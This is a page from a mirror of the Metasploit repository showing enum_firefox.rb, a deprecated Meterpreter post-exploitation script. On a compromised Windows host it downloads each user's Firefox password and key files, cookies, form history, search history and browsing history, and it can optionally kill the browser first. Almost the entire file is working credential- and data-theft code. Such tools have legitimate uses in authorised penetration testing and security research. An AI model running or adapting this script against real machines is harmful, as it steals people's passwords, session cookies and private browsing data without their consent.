Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

enum_firefox.rb 10KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. #
  7. # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  8. #-------------------------------------------------------------------------------
  9. ################## Variable Declarations ##################
  10. require 'sqlite3'
  11. @client = client
  12. kill_frfx = false
  13. host,port = session.session_host, session.session_port
  14. # Create Filename info to be appended to downloaded files
  15. filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
  16. # Create a directory for the logs
  17. @logs = ::File.join(Msf::Config.config_directory, 'logs',"scripts", 'enum_firefox', host + filenameinfo )
  18. # logfile name
  19. logfile = @logs + "/" + host + filenameinfo + ".txt"
  20. notusrs = [
  21. "Default",
  22. "Default User",
  23. "Public",
  24. "LocalService",
  25. "NetworkService",
  26. "All Users"
  27. ]
  28. #-------------------------------------------------------------------------------
  29. #Function for getting Firefox SQLite DB's
  30. def frfxplacesget(path,usrnm)
  31. # Create the log
  32. ::FileUtils.mkdir_p(@logs)
  33. @client.fs.dir.foreach(path) {|x|
  34. next if x =~ /^(\.|\.\.)$/
  35. fullpath = path + '\\' + x
  36. if @client.fs.file.stat(fullpath).directory?
  37. frfxplacesget(fullpath,usrnm)
  38. elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i
  39. dst = x
  40. dst = @logs + ::File::Separator + usrnm + dst
  41. print_status("\tDownloading Firefox Database file #{x} to '#{dst}'")
  42. @client.fs.file.download_file(dst, fullpath)
  43. end
  44. }
  45. end
  46. #-------------------------------------------------------------------------------
  47. #Function for processing the Firefox sqlite DB's
  48. def frfxdmp(usrnm)
  49. sitesvisited = []
  50. dnldsmade = []
  51. bkmrks = []
  52. cookies = []
  53. formvals = ''
  54. searches = ''
  55. results = ''
  56. placesdb = @logs + ::File::Separator + usrnm + "places.sqlite"
  57. formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite"
  58. searchdb = @logs + ::File::Separator + usrnm + "search.sqlite"
  59. cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite"
  60. bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt"
  61. download_list = @logs + ::File::Separator + usrnm + "_download_list.txt"
  62. url_history = @logs + ::File::Separator + usrnm + "_history.txt"
  63. form_history = @logs + ::File::Separator + usrnm + "_form_history.txt"
  64. search_history = @logs + ::File::Separator + usrnm + "_search_history.txt"
  65. begin
  66. print_status("\tGetting Firefox Bookmarks for #{usrnm}")
  67. db = SQLite3::Database.new(placesdb)
  68. #print_status("\tProcessing #{placesdb}")
  69. db.execute('select a.url from moz_places a, moz_bookmarks b, '+
  70. 'moz_bookmarks_roots c where a.id=b.fk and parent=2'+
  71. ' and folder_id=2 and a.hidden=0') do |row|
  72. bkmrks << row
  73. end
  74. print_status("\tSaving to #{bookmarks}")
  75. if bkmrks.length != 0
  76. bkmrks.each do |b|
  77. file_local_write(bookmarks,"\t#{b.to_s}\n")
  78. end
  79. else
  80. print_status("\tIt appears that there are no bookmarks for this account")
  81. end
  82. rescue::Exception => e
  83. print_status("The following Error was encountered: #{e.class} #{e}")
  84. end
  85. #--------------------------------------------------------------------------
  86. begin
  87. print_status("\tGetting list of Downloads using Firefox made by #{usrnm}")
  88. db.execute('SELECT url FROM moz_places, moz_historyvisits ' +
  89. 'WHERE moz_places.id = moz_historyvisits.place_id '+
  90. 'AND visit_type = "7" ORDER by visit_date') do |row|
  91. dnldsmade << row
  92. end
  93. print_status("\tSaving Download list to #{download_list}")
  94. if dnldsmade.length != 0
  95. dnldsmade.each do |d|
  96. file_local_write(download_list,"\t#{d.to_s} \n")
  97. end
  98. else
  99. print_status("\tIt appears that downloads where cleared for this account")
  100. end
  101. rescue::Exception => e
  102. print_status("The following Error was encountered: #{e.class} #{e}")
  103. end
  104. #--------------------------------------------------------------------------
  105. begin
  106. print_status("\tGetting Firefox URL History for #{usrnm}")
  107. db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' +
  108. 'WHERE moz_places.id = moz_historyvisits.place_id ' +
  109. 'AND visit_type = "1" ORDER by visit_date' ) do |row|
  110. sitesvisited << row
  111. end
  112. print_status("\tSaving URL History to #{url_history}")
  113. if sitesvisited.length != 0
  114. sitesvisited.each do |s|
  115. file_local_write(url_history,"\t#{s.to_s}\n")
  116. end
  117. else
  118. print_status("\tIt appears that Browser History has been cleared")
  119. end
  120. db.close
  121. rescue::Exception => e
  122. print_status("The following Error was encountered: #{e.class} #{e}")
  123. end
  124. #--------------------------------------------------------------------------
  125. begin
  126. print_status("\tGetting Firefox Form History for #{usrnm}")
  127. db = SQLite3::Database.new(formdb)
  128. #print_status("\tProcessing #{formdb}")
  129. db.execute("SELECT fieldname,value FROM moz_formhistory") do |row|
  130. formvals << "\tField: #{row[0]} Value: #{row[1]}\n"
  131. end
  132. print_status("\tSaving Firefox Form History to #{form_history}")
  133. if formvals.length != 0
  134. file_local_write(form_history,formvals)
  135. else
  136. print_status("\tIt appears that Form History has been cleared")
  137. end
  138. db.close
  139. rescue::Exception => e
  140. print_status("The following Error was encountered: #{e.class} #{e}")
  141. end
  142. begin
  143. print_status("\tGetting Firefox Search History for #{usrnm}")
  144. db = SQLite3::Database.new(searchdb)
  145. #print_status("\tProcessing #{searchdb}")
  146. db.execute("SELECT name,value FROM engine_data") do |row|
  147. searches << "\tField: #{row[0]} Value: #{row[1]}\n"
  148. end
  149. print_status("\tSaving Firefox Search History to #{search_history}")
  150. if searches.length != 0
  151. file_local_write(search_history,searches)
  152. else
  153. print_status("\tIt appears that Search History has been cleared")
  154. end
  155. db.close
  156. rescue::Exception => e
  157. print_status("The following Error was encountered: #{e.class} #{e}")
  158. end
  159. # Create Directory for dumping Firefox cookies
  160. ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}")
  161. ::FileUtils.mkdir_p(ckfldr)
  162. db = SQLite3::Database.new(cookiesdb)
  163. db.results_as_hash = true
  164. print_status("\tGetting Firefox Cookies for #{usrnm}")
  165. db.execute("SELECT * FROM moz_cookies;" ) do |item|
  166. fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+")
  167. fd.puts "Name: " + item['name'] + "\n"
  168. fd.puts "Value: " + item['value'].to_s + "\n"
  169. fd.puts "Host: " + item['host'] + "\n"
  170. fd.puts "Path: " + item['path'] + "\n"
  171. fd.puts "Expiry: " + item['expiry'].to_s + "\n"
  172. fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n"
  173. fd.puts "isSecure: " + item['isSecure'].to_s + "\n"
  174. fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n"
  175. fd.close
  176. end
  177. return results
  178. end
  179. #-------------------------------------------------------------------------------
  180. #Function for getting password files
  181. def frfxpswd(path,usrnm)
  182. @client.fs.dir.foreach(path) {|x|
  183. next if x =~ /^(\.|\.\.)$/
  184. fullpath = path + '\\' + x
  185. if @client.fs.file.stat(fullpath).directory?
  186. frfxpswd(fullpath,usrnm)
  187. elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i
  188. begin
  189. dst = x
  190. dst = @logs + ::File::Separator + usrnm + dst
  191. print_status("\tDownloading Firefox Password file to '#{dst}'")
  192. @client.fs.file.download_file(dst, fullpath)
  193. rescue
  194. print_error("\t******Failed to download file #{x}******")
  195. print_error("\t******Browser could be running******")
  196. end
  197. end
  198. }
  199. end
  200. #-------------------------------------------------------------------------------
  201. # Function for checking if Firefox is installed
  202. def frfxchk
  203. found = false
  204. registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a|
  205. if a =~ /Firefox/
  206. print_status("Firefox was found on this system.")
  207. found = true
  208. end
  209. end
  210. return found
  211. end
  212. #-------------------------------------------------------------------------------
  213. #Function for executing all pilfering actions for Firefox
  214. def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile)
  215. print_status("Getting Firefox information for user #{usrnm}")
  216. frfxplacesget(frfoxdbloc,usrnm)
  217. frfxpswd(frfoxdbloc,usrnm)
  218. file_local_write(logfile,frfxdmp(usrnm))
  219. end
  220. # Function to kill Firefox if open
  221. def kill_firefox
  222. print_status("Killing the Firefox Process if open...")
  223. @client.sys.process.get_processes().each do |x|
  224. if x['name'].downcase == "firefox.exe"
  225. print_status("\tFirefox Process found #{x['name']} #{x['pid']}")
  226. print_status("\tKilling process .....")
  227. session.sys.process.kill(x['pid'])
  228. end
  229. end
  230. end
  231. ####################### Options ###########################
  232. @@exec_opts = Rex::Parser::Arguments.new(
  233. "-h" => [ false, "Help menu." ],
  234. "-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."]
  235. )
  236. @@exec_opts.parse(args) { |opt, idx, val|
  237. case opt
  238. when "-h"
  239. print_line "Meterpreter Script for extracting Firefox Browser."
  240. print_line(@@exec_opts.usage)
  241. raise Rex::Script::Completed
  242. when "-k"
  243. kill_frfx = true
  244. end
  245. }
  246. if client.platform == 'windows'
  247. if frfxchk
  248. user = @client.sys.config.getuid
  249. if not is_system?
  250. envs = @client.sys.config.getenvs('USERNAME', 'APPDATA')
  251. usrname = envs['USERNAME']
  252. db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles"
  253. if kill_frfx
  254. kill_firefox
  255. end
  256. print_status("Extracting Firefox data for user #{usrname}")
  257. frfxpswd(db_path,usrname)
  258. frfxplacesget(db_path,usrname)
  259. frfxdmp(usrname)
  260. else
  261. registry_enumkeys("HKU").each do |sid|
  262. if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/
  263. key_base = "HKU\\#{sid}"
  264. usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME"))
  265. db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles"
  266. if kill_frfx
  267. kill_firefox
  268. end
  269. print_status("Extracting Firefox data for user #{usrname}")
  270. frfxpswd(db_path,usrname)
  271. frfxplacesget(db_path,usrname)
  272. frfxdmp(usrname)
  273. end
  274. end
  275. end
  276. end
  277. else
  278. print_error("This version of Meterpreter is not supported with this Script!")
  279. raise Rex::Script::Completed
  280. end